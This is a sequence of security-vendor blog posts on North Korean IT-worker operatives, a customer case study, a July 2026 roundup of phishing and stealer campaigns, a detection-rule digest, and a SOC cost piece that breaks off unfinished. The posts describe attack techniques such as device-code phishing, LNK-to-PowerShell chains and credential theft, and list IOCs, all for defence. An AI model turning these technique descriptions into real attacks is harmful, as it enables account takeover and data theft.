Aaron Schulz (“Blaze” from Episode 1) made a heroic return and was willing to join Ballena Azul LTD, but in the end, we had certain irreconcilable artistic differences: he failed to provide a photo ID “at least for a month, until we were able to pay the first salary.” So, he ended up making a short cameo, but we’re glad to know he’s OK.

Still, there’s one curious surprise left. What would you do if your live translation software suddenly acted up in the middle of the daily stand-up?

Bonus Chapter II: Cough Syrup

This happened to Jack during one of our daily stand-ups. We noticed him panicking in his corner of the meeting as his turn to speak got closer, and we immediately understood that something was acting up on his side, most likely his live translation tool.

So, he handled the situation like a man.

Watch the video on YouTube

He was ready to fake passing out if he had to, so we just let him get away with it this time.

Now, that was our last surprise, fun fact, or weird tape to show.

Before closing this episode, let’s backtrack for a moment and remember that, funny as these guys are, they still pose a threat to our companies and assets. Maybe not willingly, maybe not by choice, but they still do.

So, let’s analyze their latest toolset, updating what we’ve seen and what has changed since our last engagement last December.

Famous Chollima New Toolset & Infrastructure

This list includes only the tools we’ve observed in this new episode, which may vary over time or across different operative clusters.

• AnyDesk, Google Remote Desktop: Remote desktop software.
• AstrillVPN: VPN service.
• Browser extensions: Saved Prompts for GPT, Simplify Copilot, AIApply, Final Round AI.
• ChatGPT: Writing and coding. They rely heavily on it to ask mundane questions about things they don’t understand, even completing assignments instead of asking us.
• Google Gemini: Image alteration, especially document forgery.
• 2fa.cn: Sharing 2FA codes across operatives. We noticed they are no longer using authenticator.cc or otp.ee, as in previous engagements.
• Cursor, Visual Studio Code and Remix: Coding.
• MetaMask, Bitget Wallet: Cryptocurrency wallets.
• ip8.com: Checking their exit IP address.
• Outlook.com: Previously, we had only observed them using Gmail during these engagements.
• System tools: dxdiag, systeminfo, wmic.
• VPS: Vultr, Gorilla Servers.

This concludes our engagement. Sadly, it’s time to say goodbye!

Until next time, Famous Chollima

Last time we had to part ways, we closed Episode 1 with this very same title: half bad omen, half veiled threat. Whichever it was, it came true, and we’re reusing it here because we still believe this won’t be our last encounter.

And it probably won’t be yours either. At the end of the day, there’s no silver bullet, but the classic playbook still applies:

Do your background checks and KYC. If you’re a remote-first company, make them periodic and include in-person verification.

Train your recruiters to spot the red flags. They’re the first line of defense protecting your company.

Block AstrillVPN immediately, along with every service that refuses to cooperate with takedowns or law enforcement requests.

If you spot a Famous Chollima, make them really famous by recording their face and sharing it with the intelligence community. You’ll help spread awareness and might prevent an unsuspecting company from hiring a spy or even facing sanctions.

Always doubt.

Trust no one.

And don’t forget to smile, you’re on camera!

How ANY.RUN Supports Investigations Like This

This investigation produced several layers of evidence, from live activity inside the virtual desktops to accounts, wallets, VPN infrastructure, browser data, and network connections linked to the operatives.

ANY.RUN provided the controlled environment needed to capture that activity as it unfolded, preserve the evidence, and examine each action without exposing real corporate systems.

For researchers and security teams, this kind of visibility makes it easier to understand how identities, infrastructure, tools, and behavior come together within an operation.

About ANY.RUN

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps SOCs, MSSPs, and enterprise security teams investigate threats faster and make response decisions based on clear behavioral evidence.

Its Interactive Sandbox allows teams to analyze malware, phishing pages, suspicious files, and URLs in a controlled environment while observing the full attack chain in real time. Threat Intelligence built on investigations from more than 15,000 organizations and 600,000 security professionals helps teams enrich alerts, uncover related activity, and bring current threat context into detection, hunting, and response workflows.

ANY.RUN is SOC 2 Type II attested, reflecting its commitment to strong security controls and customer data protection.

IOCs

• IPv4: 62[.]33[.]223[.]165 // INVESTSTROY-NET (InvestStroyTrest)
• IPv4: 89[.]187[.]185[.]11 // DPRK-operated VPS
• IPv4: 45[.]77[.]71[.]42 // DPRK-operated VPS
• IPv4: 185[.]152[.]67[.]39 // DPRK-operated VPS
• IPv4: 104[.]250[.]148[.]58 // AstrillVPN exit node
• IPv4: 192[.]200[.]115[.]226 // AstrillVPN exit node
• IPv4: 107[.]150[.]38[.]250 // AstrillVPN exit node
• IPv4: 206[.]217[.]134[.]34 // AstrillVPN exit node
• IPv4:199[.]168[.]112[.]175 // AstrillVPN exit node
• 0x8953B9661339a48f4E6408aA1B359CD49F3A6CAd
• 0xA3D6938f152C47A411263573Bb3AF324C25A8eba
• 0xB26A7C7EA6D75956EbD8c5D294524903b1cf13D0

Further Reading

• ANY.RUN Blog: Smile, You’re on Camera! Episode 1
• InsomniHack Switzerland: Smile, You’re on Camera!

The post Smile, You’re on Camera. Part 2: Hiring Lazarus APT’s IT Workers in a Fake DeFi Startup appeared first on ANY.RUN's Cybersecurity Blog.

In our recent conversation, ChongLuaDao co-founder Hieu Ngo told us how ANY.RUN plays an integral role in the project’s infrastructure, helping it power thousands of safety checks to stop cyber threats before they reach potential victims.

A Community-Driven Mission: Small Team, Global Impact

Based in Ho Chi Minh City, Vietnam, ChongLuaDao is a non-profit, community-driven cybersecurity initiative with a singular mission: to make online safety free, practical, and accessible for everyone.

“Our mission is to make online safety free, practical, and accessible by helping people verify suspicious websites, report scams, and block dangerous links before victims are harmed.”

The organization operates with a lean but highly efficient structure:

• A Small Core Team: A specialized group of security analysts, engineers, and investigators who manage the project’s strategy and technical infrastructure.

• Global Volunteer Power: A massive community of more than 200 volunteer moderators and cybersecurity experts who assist in reviewing and validating user-submitted scam reports.

• Enterprise-Scale Ecosystem: Despite its non-profit status, the project’s impact is massive, serving over one million daily queries via its threat intelligence API and maintaining strategic partnerships with global leaders like APWG and PhishTank.

Through this unique blend of human expertise and advanced technology, ChongLuaDao has turned a local initiative into a critical node of the global threat intelligence network.

The Challenge: Scaling Analysis for the Constantly Changing Scam Infrastructure

For ChongLuaDao, the primary operational bottleneck was speed. The landscape of modern cybercrime in Vietnam is dominated by short-lived infrastructure: scam domains, phishing pages, and malicious APKs often appear and disappear within hours. Relying on manual review alone became impossible as the volume of daily suspicious submissions began to outpace the team’s capacity.

This massive influx of data created heavy pressure on the analyst team. Without the ability to perform fast dynamic analysis, validating a single suspicious file or URL could take too long. These delays had real-world consequences, leading to slower response times in blocking threats, warning potential victims, and sharing intelligence with global partners.

“Scam domains, phishing pages, fake investment sites, malicious APKs, and credential theft pages appear and disappear very quickly, so manual review alone could not keep up with the volume or urgency”

The challenge was further intensified by the organization’s status as a non-profit with limited staff, budget, and time. To protect millions of users effectively, ChongLuaDao needed an enterprise-grade solution that could drastically reduce analyst workload and provide the high-fidelity evidence required to make confident, life-saving blocking decisions in real time.

ANY.RUN Integration: Moving Beyond Static Analysis to Unmask “Smart” Phishing in Real Time

ChongLuaDao integrated ANY.RUN to overcome the technical limitations of static analysis when facing sophisticated, evasive threats. The team selected the solution based on its ability to provide real-time interaction within secure cloud-based VMs, a capability essential for analyzing modern scam infrastructure.

“From a leadership perspective, ANY.RUN helps ChongLuaDao scale our mission.”

ANY.RUN’s Interactive Sandbox delivered instant value to ChongLuaDao, offering several operational advantages:

• Detection of Evasive and Multi-Stage Threats: Many phishing campaigns are multi-stage and depend on specific user interactions like clicking. ANY.RUN’s interactive nature allows analysts to simulate user behavior, exposing malicious flows that remain dormant and undetected in passive sandboxes.

• High-Fidelity Verdicts and Reduced False Alarms: By providing full visibility into the entire behavior chain rather than relying on static indicators, the sandbox improves analyst confidence. This clarity is critical for distinguishing sophisticated phishing kits from legitimate but abused infrastructure, ensuring that blocking decisions are accurate.

• Operational Efficiency for Resource-Constrained Teams: As a non-profit managing 200 million protected users with a lean staff, ChongLuaDao requires solutions that reduce manual workload. ANY.RUN acts as a force multiplier, transforming what used to be hours of manual forensic checking into minutes of interactive validation.

By prioritizing interactive visibility, ChongLuaDao has moved from simply flagging suspicious links to confirming and neutralizing complex threats in a single workflow.

Triaging Threats in Minutes Instead of Hours

By integrating ANY.RUN, the organization successfully transitioned from time-intensive manual forensics to a streamlined interactive triage process.

The efficiency allows a lean core team to handle enterprise-level volumes of data, accelerating the time-to-block for confirmed threats and significantly increasing daily analyst throughput.

“For complex cases, ANY.RUN helped reduce analysis from hours of manual checking to minutes of interactive validation.”

Exposing Multi-Stage Scams Through Real-Time Human-in-the-Loop Interaction

Sophisticated cybercrime campaigns in Vietnam, such as “Không Một Mình,” often utilize geo-fencing or multi-stage execution that remains dormant in passive sandboxes. These threats require specific user actions to trigger their malicious payloads.

Using ANY.RUN’s interactive environment, analysts can click through phishing flows, scroll, and enter data in real time to observe the threat’s actual behavior. This “human-in-the-loop” capability allows the team to unmask malicious flows that automated systems miss, ensuring that complex, interaction-dependent scams are identified and neutralized before they reach victims.

Key ChongLuaDao Metrics Improved with ANY.RUN

• Time-to-Verdict: For complex cases, the analysis window was compressed from hours of manual forensic checking to just minutes of interactive validation.
• Time-to-Block: The speed of neutralizing threats increased due to the immediate extraction of network indicators, domains, and IPs directly from the sandbox.
• Daily Analyst Throughput: The number of reports analysts and volunteer moderators can process per day has significantly increased, allowing the team to keep pace with the high volume of user submissions.

Reaching Confident Verdicts with Full Visibility into Malicious Behavior

Maintaining a blocklist for 200 million users requires accurate decisions to avoid disrupting legitimate services. ANY.RUN helps ChongLuaDao achieve this by providing complete visibility into the behavioral chain, including process trees, network activity, and file system changes.

The forensic depth allows analysts to definitively distinguish phishing kits from false alarms or legitimate but abused infrastructure.

“ANY.RUN improves confidence because analysts can see the full behavior chain instead of relying only on static indicators.”

By moving from static indicators to observed behavioral proof, ChongLuaDao has increased the reliability of its intelligence and reduced the risk of false positives.

Providing Actionable Intelligence for Law Enforcement and Global Takedown Partners

ChongLuaDao serves as a critical intelligence node for partners like INTERPOL, UNODC, and global hosting providers. ANY.RUN facilitates this cooperation by generating forensic-grade reports that include process graphs, screenshots, and detailed network logs.

“ANY.RUN makes our reports more actionable because partners can see not only a suspicious link, but also the observed malicious behavior behind it.”

Complete intelligence packages make the organization’s findings immediately actionable for partners, as they provide visual and technical proof of malicious intent rather than just a suspicious URL. The evidence-based approach directly accelerates the takedown of malicious infrastructure and strengthens global efforts to dismantle cybercrime networks.

Conclusion

The ChongLuaDao case demonstrates how a lean, community-driven non-profit can successfully defend 200 million users by augmenting human expertise with professional-grade interactive analysis. By integrating ANY.RUN, the organization has effectively addressed the challenge of scam infrastructure, transforming what was once a manual bottleneck into a high-speed, evidence-based validation workflow.

We would like to thank the ChongLuaDao leadership and their community of 200+ volunteer experts for allowing us an inside look at their security operations. Their commitment to making online safety free and accessible is an inspiration, and we are proud to support their mission to build a safer digital environment for millions of users globally.

About ANY.RUN

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps SOC teams, MSSPs, and enterprises investigate threats faster and make more confident security decisions.

With its cloud-based Interactive Sandbox, security teams can safely analyze suspicious files, links, and emails in real time, observe malicious behavior, and receive clear evidence for response without maintaining complex in-house infrastructure.

ANY.RUN’s Threat Intelligence solutions also help organizations uncover threat context, enrich security workflows, and improve visibility into emerging risks. Together, these capabilities support faster triage, stronger incident prevention, and more efficient security operations at scale.

Scale your SOC with faster threat validation →

The post Safeguarding 200M Users: How ChongLuaDao Scales Threat Validation with ANY.RUN appeared first on ANY.RUN's Cybersecurity Blog.

Here are the major attacks from July, the business risks they exposed, and the actions security leaders should prioritize to contain them faster.

What July’s Attacks Revealed About Enterprise Risk

July’s attacks showed how easily routine business activity can become a path to account compromise, data exposure, fraud, and operational disruption. Attackers used trusted platforms, legitimate authentication flows, familiar documents, and built-in system tools to reduce suspicion and delay the moment when security teams could confirm the true scale of an incident.

Trusted business services created false confidence: SharePoint, OneDrive, Zoom Events, Microsoft authentication pages, and compromised government systems appeared in attack chains. Their presence made malicious activity look more credible and increased the chance that employees or security controls would allow it to continue.

Identity attacks threatened core business workflows: Kratos and Kali365 put Microsoft 365 accounts, corporate email, shared files, supplier communication, and payment conversations at risk. In cases involving active sessions, refresh tokens, or OAuth access, changing a password alone might not fully remove the attacker.

A single endpoint could expose access across the business: DestinyStealer, Banana RAT, DARTHVADER Stealer, and OVERLORD RAT collected or targeted browser credentials, cookies, Outlook data, VPN access, file-transfer accounts, cryptocurrency wallets, and other sensitive information. One infected device could therefore create exposure across several systems and require a much broader response than endpoint cleanup alone.

Legitimate tools made malicious activity harder to separate from normal operations: PowerShell, AutoIt, Windows utilities, trusted applications, and cloud services helped attackers hide inside familiar system activity. This increased the risk of delayed containment, unnecessary escalations, and longer investigations.

Changing infrastructure weakened indicator-only defenses: Several campaigns rotated domains, command-and-control servers, or delivery paths. Blocking one URL or IP address could stop only a small part of the operation, while related activity continued elsewhere.

Incomplete context increased response costs: A clean initial verdict, a legitimate first-stage URL, or one isolated alert did not always reveal the full compromise. Without a clear view of affected accounts, stolen data, persistence, and follow-on activity, leaders could underestimate business exposure or approve containment actions that were either too narrow or unnecessarily disruptive.

Who Attackers Targeted in July

July’s campaigns reached organizations across the United States, Europe, and Brazil, with activity affecting both private and public-sector environments.

The targeting was broad, but not random. Attackers focused on users and sectors with access to cloud accounts, financial activity, sensitive records, and trusted external communications.

1. Kratos Put Microsoft 365 Accounts and Business Workflows at Risk Across the US and Europe

In July, ANY.RUN researchers documented Kratos, a mature Phishing-as-a-Service operation targeting Microsoft 365 users across the United States, Europe, and other regions. The campaign used document-sharing, DocuSign, and invoice lures, often routing victims through trusted services such as SharePoint, OneDrive, Microsoft Forms, Canva, and Tilda before displaying a fake Microsoft login page.

Check detailed breakdown

For organizations, the risk extended beyond a stolen password. Compromised accounts could expose corporate email, cloud files, supplier communication, and payment workflows, supporting business email compromise, payment redirection, data exposure, and fraudulent requests from trusted accounts. Some sessions also established WebSocket connections, which may indicate possible adversary-in-the-middle activity or live credential relaying, although this alone does not confirm session theft.

Account takeover risk to address: A password reset may not fully contain the incident if attackers have already gained access to an active Microsoft 365 session. Organizations should review sign-in activity, revoke active sessions and refresh tokens when needed, and determine whether the account was used to access sensitive files, financial conversations, or external partner communications. Teams should also trace the full redirect chain rather than broadly blocking trusted services that may have served only as an intermediate step.

2. PhantomEnigma Abused Trusted Government Systems to Reach Banks and Public-Sector Targets

PhantomEnigma targeted banking and public-sector organizations in Brazil through fake Polícia Civil and digital power-of-attorney communications. At least 20 compromised .gov.br municipal and police portals were used to distribute malware, while compromised government mailboxes allowed some phishing emails to pass SPF, DKIM, and DMARC checks. These government systems were part of the delivery chain and were not confirmed as the campaign’s intended targets.

Check detailed breakdown

Once installed, the modular backdoor could collect system information, establish persistence, execute commands, and deliver additional payloads such as stealers, loaders, or remote management tools. Rotating command-and-control infrastructure and initial clean verdicts could also cause connected alerts to be investigated separately, delaying containment and increasing the risk of fraud, data exposure, operational disruption, and higher recovery costs.

Investigation gap to close: A single domain, file, or clean initial verdict may reveal only one part of the campaign. Teams need enough context to connect the phishing message, compromised government infrastructure, malware behavior, command-and-control activity, and any additional payloads delivered afterward. This broader view helps security leaders understand whether they are dealing with one isolated alert or a coordinated operation affecting multiple users or systems, so containment can begin before the business impact grows.

3. Kali365 Turned Legitimate Microsoft Sign-Ins into Cloud Access Risk for US Organizations

Kali365 targeted U.S. organizations with device code phishing that abused Microsoft’s legitimate authentication process. Instead of collecting passwords through a fake login page, the kit directed victims to Microsoft’s real device login page and persuaded them to enter an attacker-controlled code. More than 80 related public sandbox sessions were recorded each week, with activity observed across MSSPs, manufacturing, technology, government, healthcare, and consulting.

Check detailed breakdown

Successful authentication could give attackers OAuth access and refresh tokens, potentially providing continued access to corporate email, documents, and cloud resources without directly stealing the victim’s password. Because the login took place on a legitimate Microsoft page, the activity could appear routine, delaying detection while attackers accessed sensitive data, altered business communications, or used trusted accounts for fraud.

Access control to strengthen: Device code authentication should be limited to users and workflows that genuinely require it. Organizations should also investigate unexpected authorization requests and unusual access to Microsoft 365 services. Because Kali365 sends victims through a legitimate Microsoft login page, ANY.RUN helps reveal the original lure, redirects, and device-code flow that may otherwise look safe.

4. Banana RAT Increased Fraud Risk by Evolving Its Remote Access Capabilities

Banana RAT is a banking-focused remote access trojan associated with Brazilian financial activity, including banking sessions and Pix-related fraud. Research published in July compared two branches tied to the same staging infrastructure. The older branch used fixed Microsoft-style filenames and installation paths, while the newer version introduced randomized identifiers, stronger persistence, and encrypted WebSocket communication through host-specific subdomains.

The newer branch could monitor screens and sessions, capture keyboard input, transfer files, control the infected system remotely, and maintain access through scheduled tasks or registry-based persistence. For banks and businesses handling payments, an infected endpoint could expose credentials, enable fraudulent transactions, and give attackers continued access even after the original malicious file is removed.

Evolving threat to track: Blocking one filename, path, or server may not stop Banana RAT as operators continue changing how the malware installs itself and communicates. Teams need behavioral context that connects hidden PowerShell activity, persistence, remote-control capabilities, and network communication across different variants. ANY.RUN helps compare related samples and reveal the stable behavior behind changing artifacts, allowing security teams to update detection and containment before a new branch affects more systems or financial workflows.

5. A Fake PDF Shortcut Turned One Click into Credential Theft and Persistent Access

A malicious LNK file disguised as a PDF launched a multi-stage infection chain using cmd.exe, legitimate Windows utilities, AutoIt, and PowerShell before deploying DARTHVADER Stealer. The attack also establishedpersistence, allowing the compromise to continue beyond the initial click.

Check technical details on Linkedin

The chain used hidden command execution, curl.exe downloads, PowerShell ExecutionPolicy Bypass, mutex creation, and persistence setup. The use of legitimate system tools and reduced command output created fewer obvious artifacts, making the activity harder to trace and potentially delaying containment while the stealer remained active.

Post-click risk to reduce: Security controls should not stop at checking whether a file looks like a PDF or whether a trusted Windows utility was used. Teams need visibility into what happens after the shortcut is opened, including hidden commands, downloaded components, PowerShell activity, AutoIt execution, and persistence. ANY.RUN helps expose this sequence in one analysis, giving teams the evidence needed to identify the stealer and contain affected systems before stolen data or persistent access creates wider business impact.

6. Live Attacker Control Exposed Organizations to Data Theft and Continued Access

While analyzing a PythonRAT infection, ANY.RUN observed the attacker connect to the compromised system, upload another payload, and deploy OVERLORD RAT in real time. The activity, seen targeting Germany and the UK, showed that the initial infection was only the first step in a broader compromise.

Check technical details on Linkedin

OVERLORD gave the attacker extensive control over the system, including access to files, browser data, messages, cryptocurrency wallets, keyboard input, and audio. During 45 minutes of analysis, the agent transmitted approximately 86 MB of data, highlighting how quickly one infected endpoint can turn into a serious data exposure and remote-access incident.

Business exposure to confirm: An initial malware alert may not show whether an attacker is already active inside the environment. Interactive analysis in ANY.RUN revealed the operator’s actions and the additional payload as they appeared, helping teams understand the true scope of the compromise and move faster to isolate the system, protect exposed accounts, and prevent further access.

7. Fake Zoom Events Put Trusted Partner Communications at Risk

A multi-flow phishing campaign used legitimate Zoom event pages to promote fake virtual summits linked to Meta, OpenAI, and Anthropic. The invitations appeared to offer access to events such as the Meta Agency Summit 2026, OpenAI Partner Summit 2026, and Anthropic AI Marketing Summit 2026. After users selected “Continue to register,” they were redirected from events.zoom.us to attacker-controlled domains.

Check technical details on Linkedin

The campaign then followed different paths. Some samples used Microsoft device code phishing, while others used an adversary-in-the-middle flow impersonating Microsoft authentication. By starting on a trusted event platform and using familiar technology brands, the attackers reduced suspicion and made the early stages of the campaign less likely to stand out during triage.

Trusted redirect risk to reduce: Security teams should treat event invitations as complete journeys rather than judging only the first page or final destination. Redirects from legitimate SaaS platforms into unexpected authentication flows should be reviewed together, especially when an event registration suddenly asks users to authorize Microsoft access. ANY.RUN helps reproduce these transitions safely and reveal where a credible invitation turns into credential or session compromise.

8. DestinyStealer Put Credentials and Corporate Access Data at Risk Across the US and Europe

DestinyStealer activity increased across Europe and the United States, with the malware operating as an all-in-one data grabber. It collected browser data, cookies, passwords, cryptocurrency wallet extension storage, Outlook and VPN data, FileZilla credentials, Wi-Fi profiles, and desktop screenshots. Its code also showed clear continuity with StormKitty.

Check technical details on Linkedin

Some samples were still undetected on VirusTotal at the time of analysis, while others lacked clear attribution. After checking the victim’s public IP address, the malware collected the stolen information in a temporary directory, packaged it into a ZIP archive, and exfiltrated it through two parallel channels: HTTP and raw TCP. This combination could allow valuable credentials and access data to leave the system before conventional detections provide teams with a clear verdict.

Exposure scope to determine: A DestinyStealer infection should not be treated as a problem limited to one endpoint. Teams need to establish which browsers, email accounts, VPN access, file-transfer credentials, cookies, and cryptocurrency wallets were exposed. Behavior-based analysis in ANY.RUN reveals what the malware collected and where it attempted to send the data, helping security teams identify affected accounts and contain the wider access risk.

Turn July’s Attack Evidence into Stronger SOC Defense

July’s campaigns changed domains, abused trusted services, hid behind legitimate activity, and expanded after the first alert. Reducing exposure requires more than blocking the indicator found in one incident. SOC teams need fresh intelligence for their controls, behavioral evidence for faster investigations, and campaign context for proactive hunting.

1. Keep Security Controls Updated with Fresh Threat Intelligence

Kratos, PhantomEnigma, Banana RAT, and other July threats changed infrastructure, delivery paths, or technical artifacts as their campaigns evolved. A domain or IP address taken from one confirmed incident may quickly lose value, while connected infrastructure remains active elsewhere.

ANY.RUN’s Threat Intelligence Feeds deliver newly observed malicious IPs, domains, and URLs to SIEM, SOAR, TIP, firewalls, and other security controls through STIX/TAXII, API, and SDK. The intelligence is drawn from sandbox investigations submitted by more than 15,000 organizations and 600,000 security professionals worldwide, giving teams a continuously updated view of threats seen in real environments.

Each indicator links back to the sandbox session where it was observed, helping defenders validate it before taking action. This is especially important when attackers use compromised websites, shared cloud infrastructure, or legitimate platforms that should not be blocked without review.

2. Give SOC Teams the Evidence to Act Faster

July’s incidents showed how easily an alert can look harmless at first and become much more serious after execution. A trusted URL, familiar sign-in page, or clean initial verdict may reveal little about the access gained, data collected, or attacker activity that follows.

Behavior-based analysis helps teams see what a file or URL actually does after it is opened. ANY.RUN’s Interactive Sandbox reveals redirects, authentication flows, hidden execution, persistence, downloaded payloads, remote-control activity, and data collection in one investigation. This gives Tier 1 the evidence needed to confirm malicious behavior and understand the potential business exposure behind an uncertain verdict.

Ready-made reports bring together the verdict, IOCs, TTPs, screenshots, and behavioral evidence in a shareable format. With the attack chain already documented, teams can make faster containment decisions and hand off complex cases without rebuilding the investigation across several sources.

3. Turn Isolated Alerts into Campaign-Level Intelligence

When related activity is investigated case by case, security teams may miss the scale of the threat and repeat the same work across multiple incidents. The result is slower attribution, weaker hunting, and less time to prepare for the next wave of the campaign.

ANY.RUN’s Threat Intelligence Lookup helps teams connect suspicious files, URLs, infrastructure, behaviors, screenshots, and sandbox sessions across current and historical data. This makes it easier to determine whether an alert is isolated or part of activity already affecting other organizations, sectors, or regions.

Threat Intelligence Reports add analyst-led research on active malware, phishing operations, APTs, and cybercriminal groups. Each report includes investigation findings and ready-to-use TI Lookup queries that teams can apply to threat hunting, detection reviews, and incident enrichment.

Together, TI Lookup and TI Reports help SOC teams move from reacting to one alert at a time to identifying wider campaign activity earlier, uncovering related exposure, and updating defenses before the same threat reaches more users or systems.

About ANY.RUN

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps SOCs, MSSPs, and enterprise security teams investigate threats faster and make response decisions based on clear behavioral evidence.

Its Interactive Sandbox allows teams to analyze malware, phishing pages, suspicious files, and URLs in a controlled environment while observing the full attack chain in real time. Threat Intelligence built on investigations from more than 15,000 organizations and 600,000 security professionals help teams enrich alerts, uncover related activity, and bring current threat context into detection, hunting, and response workflows.

ANY.RUN is SOC 2 Type II attested, reflecting its commitment to strong security controls and customer data protection. By combining behavior-based analysis with continuously updated threat intelligence, ANY.RUN helps security teams reduce investigation uncertainty, speed up triage, and contain threats before they create wider business impact.

The post Major Cyber Attacks in July 2026: US and EU Organizations Hit by Phishing, RATs, and Stealers appeared first on ANY.RUN's Cybersecurity Blog.

We also published new threat intelligence and technical research on active malware and phishing campaigns. Together, these updates help teams validate alerts sooner, reduce manual investigation work, and make faster response decisions. 

Here is a closer look at July’s threat coverage and research updates. 

Threat Intelligence Report 

In July, we published a new Threat Intelligence Report covering ORACLESPY, Rokarolla, and ZOHOMURK. 

Available to TI Lookup Premium users, the report includes IOCs, detection guidance, MITRE ATT&CK mappings, and TI Lookup queries for exploring related activity and sandbox sessions. 

The report covers: 

• ORACLESPY: Windows spyware that collects system and storage information before preparing it for exfiltration. 
• Rokarolla: An Android banking trojan targeting more than 200 banking and cryptocurrency applications through fake apps, overlays, and Accessibility Services abuse. 
• ZOHOMURK: A Windows backdoor linked to Mustang Panda that uses Zoho WorkDrive for command-and-control communication and data exfiltration. 

Behavior Signatures 

The latest behavior coverage expansion brings 42 new signatures to ANY.RUN’s Interactive Sandbox. The new detections include:

Malicious activity is highlighted directly in sandbox sessions, allowing SOC teams to validate alerts faster, avoid unnecessary escalations, and move toward response with clearer evidence.

YARA Rules 

The latest update expands YARA coverage with 11 rules designed to identify malicious patterns in files and processes

Together with behavior signatures and network detections, they add another layer of evidence for classifying samples and reaching faster investigation decisions.

Suricata Rules 

703 new Suricata rules were added to ANY.RUN’s Interactive Sandbox. The new rules cover malicious connections, phishing-related requests, and command-and-control traffic. 

• Kratos related URL chain observed (sid: 84003881): Detects Kratos PhaaS resources fetch HTTP activity 
• Hiring and Events-themed phishing URL observed (sid: 89004057): Identifies social engineering threats based on hiring & events invitation lures 
• SalatStealer HTTP activity (sid: 84003924): Tracks SalatStealer CnC check-in attempts via HTTP 

Latest Threat Research 

ANY.RUN researchers also published four new investigations into active malware and phishing campaigns. The findings provide practical indicators and detection insights that can be used to investigate related activity and strengthen their response. 

• Kratos PhaaS: An investigation into three generations of the Microsoft 365 phishing kit that uncovered 1,484 previously unattributed sandbox sessions and new fingerprints for threat hunting. 
• PhantomEnigma: Research into an active campaign abusing more than 20 compromised Brazilian government websites to deliver malware to banking and public-sector targets. 
• Kali365: An analysis of a device code phishing kit that abuses legitimate Microsoft authentication to gain access to Microsoft 365 accounts without directly stealing passwords. 
• Banana RAT Evolution: A comparison of two malware branches connected to the same infrastructure, revealing changes in persistence, command-and-control communication, and other behavior. 

About ANY.RUN 

ANY.RUN is a leading provider of interactive malware analysis and threat intelligence solutions for SOCs, MSSPs, and security teams. 

The Interactive Sandbox helps teams safely analyze suspicious files, URLs, and phishing attacks while observing real-time behavior across processes, network connections, files, registry activity, and browser interactions. Threat Intelligence adds further context, helping teams connect findings, investigate related activity, and improve detection coverage. 

More than 600,000 security professionals across 15,000 organizations use ANY.RUN to validate alerts faster, reduce manual investigation work, and respond to threats with greater confidence. 

The post Threat Coverage Digest: New TI Report, Threat Research and 750+ Detection Rules appeared first on ANY.RUN's Cybersecurity Blog.

Even after the budget is approved, hiring can take three to six months, with additional time needed for onboarding and training. Meanwhile, alert volumes keep growing, senior employees remain tied up in routine investigations, and the financial exposure from a delayed response does not disappear.

The real challenge for CFOs is finding a way to strengthen security without turning every increase in workload into another hiring request. 

The Headcount Trap 

When the SOC is overloaded, hiring often looks like the obvious solution. More alerts come in, investigations take longer, and the team asks for additional analysts. 

But headcount is a costly way to solve an efficiency problem. 

Each new hire adds salary, benefits, recruitment costs, training, and management overhead. It can also take months before that person is ready to handle investigations independently. During that time, experienced employees are still carrying the workload while also supporting onboarding. 

The result is a cycle many CFOs know well: alert volume grows, the security budget grows with it, but the underlying process stays the same. Routine cases still consume senior time, manual checks still slow investigations, and the next hiring request is never far behind. 

Adding people may increase capacity for a while. It does not fix the work that makes the SOC expensive in the first place. 

The Financial Cost of Slow Incident Response 

An overloaded SOC creates costs that are easy to overlook in the security budget. Payroll is only the most visible expense. Manual investigations, repeated escalations, delayed containment, and business disruption can all increase the total cost of managing cyber risk. 

Each alert has a unit cost. A Tier 1 analyst reviews it, a more experienced employee may validate it, and a senior specialist may step in when the available evidence is unclear. The company can end up paying several employees to work on the same case, driving up the cost per investigation. 

CFOs can estimate this direct expense using a simple calculation: 

Annual investigation cost = Annual case volume × Average handling time × Fully loaded hourly labor cost 

The same calculation can be applied to escalations. It shows how much high-cost senior capacity is being used for routine cases that could have been resolved earlier with clearer evidence and faster access to threat context. 

Manual Work Limits Operating Capacity 

SOC teams often spend hours opening files, checking URLs, comparing indicators across separate sources, reproducing suspicious activity, and preparing reports. These tasks are necessary, but they do not always require senior expertise. 

When they take too long, backlogs grow and expensive specialists have less time for complex incidents, threat hunting, and detection improvement. The company may then need to approve additionalheadcount or contractor spending simply to maintain current service levels. 

The financial value of faster investigations can be measured as: 

Annual capacity recovered = Time saved per case × Annual case volume 

That capacity may translate into delayed hiring, fewer contractor hours, lower escalation rates, or more cases handled by the existing team. It improves the operating leverage of the SOC by allowing workload to grow without an equal increase in payroll. 

Delayed Response Increases Loss Exposure 

The financial impact rises sharply when a genuine threat remains active while the SOC gathers enough evidence to respond. 

The average cost of a data breach in the US reached $10.22 million in 2025, according to IBM. That figure can include recovery expenses, operational downtime, legal and regulatory costs, customer notification, and lost business. 

Not every slow investigation leads to a breach. Still, longer decision times extend the period during which the company carries the risk of a larger financial event. 

For CFOs, faster investigation supports both cost control and loss prevention. It reduces the unit cost of security operations, protects senior capacity, and helps contain threats before their financial impactgrows. 

Expand SOC Capacity Without Growing Payroll 

Improving SOC economics does not require every investigation to reach a highly paid senior specialist. Junior and mid-level analysts can handle more cases when they receive clear evidence early in the process. 

For many US SOCs, the more practical model combines automation with full attack-chain visibility. Suspicious files and URLs can be analyzed automatically, while analysts see the processes launched, files created, network connections, redirects, extracted indicators, and detected behaviors within seconds. 

This removes much of the time spent rebuilding an investigation across several tools. It also gives less-experienced analysts enough context to understand what happened, decide whether the activity is malicious, and escalate serious cases with the evidence already attached. 

The staffing impact is significant. Routine alerts stay with junior and mid-level analysts, while senior specialists spend more time on complex incidents, threat hunting, detection engineering, and response planning. New employees can also become productive faster because the investigation process is clearer and less dependent on specialist knowledge.

Speed of adoption matters as well. A solution that requires lengthy deployment, custom infrastructure, or months of training delays the return on the investment. Cloud-based solutions with intuitive workflows can begin reducing handling time sooner and help the SOC absorb more work before another hiring cycle becomes necessary. 

For CFOs, this creates a more efficient workforce mix. The company gets more value from existing payroll, lowers its dependence on scarce senior talent, and increases security capacity without adding the same level of fixed cost. 

The Efficiency Engine Behind a Lower-Cost, Higher-Capacity SOC 

ANY.RUN brings interactive analysis, automated investigation, threat intelligence, and full attack visibility into one cloud-based workflow. The financial value comes from reducing the work required per case, allowing more investigations to remain with junior and mid-level analysts, and avoiding the infrastructure costs of an internal malware-analysis environment. 

Reduce the Cost of File and URL Investigations 

